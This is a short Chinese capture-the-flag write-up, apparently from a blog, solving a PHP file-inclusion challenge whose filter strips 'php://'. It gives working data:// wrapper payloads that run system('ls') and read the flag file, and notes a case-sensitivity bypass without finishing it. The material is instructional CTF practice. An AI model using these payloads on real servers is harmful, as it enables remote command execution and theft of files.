<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
题目源码如上,简单审计一下,过滤了php://
这是个典型的文件包含利用题目。文件名为page。
可以用两种解法。
一、利用data
伪协议
data://text/plain;base64
伪协议总结:

原文地址:https://blog.csdn.net/nzjdsds/article/details/82461043
payload:?page=data://text/plain,<?php system("ls"); ?>

可以看到成功执行。说明allow_url_fopen
allow_url_include
是打开的。而且也读取到了敏感文件。 继续读取
payload:?page=data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?>

成功拿到flag。
二、 利用strstr()函数的大小写敏感
payload一样:

Comments | NOTHING